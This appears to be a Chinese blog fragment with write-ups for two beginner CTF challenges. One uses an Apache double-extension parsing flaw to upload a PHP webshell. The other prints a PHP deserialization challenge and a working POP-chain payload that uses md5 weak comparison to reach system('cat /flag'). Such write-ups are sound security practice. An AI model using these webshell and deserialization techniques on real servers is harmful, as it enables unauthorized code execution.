[UUCTF 2022 新生赛]ez_upload
Apache解析漏洞,apache cve2017

重点是把文件名改为1.jpg.php就可以将图片解析为php,很抽象,这个洞

蚁剑直接连

[SWPUCTF 2022 新生赛]ez_1zpop
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
重点是关于md5的弱比较
<?php
error_reporting(0);
class lt
{
public $impo;
public $md51="s155964671a";
public $md52="s214587387a";
}
class fin
{
public $a="system";
public $url='https://www.ctfer.vip';
public $title="cat /flag";
}
$a=new lt();
$b=new fin();
$a->impo=$b;
echo serialize($a);
?>

最低0.47元/天 解锁文章
1201

被折叠的 条评论
为什么被折叠?



